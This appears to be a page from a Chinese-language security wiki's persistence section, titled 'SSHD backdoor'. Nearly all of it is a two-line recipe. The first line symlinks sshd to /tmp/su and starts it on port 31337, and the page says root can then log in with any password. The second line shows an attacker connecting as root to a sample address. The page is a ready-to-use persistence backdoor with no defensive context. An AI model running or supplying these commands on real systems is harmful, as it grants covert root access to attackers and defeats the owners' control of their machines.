> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/quan-xian-wei-chi/linux/sshd-hou-men.md).

# SSHD后门

```
>ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;
执行后开启31337端口，使用root任意密码登录
>ssh root@192.168.1.1 -p 31337
```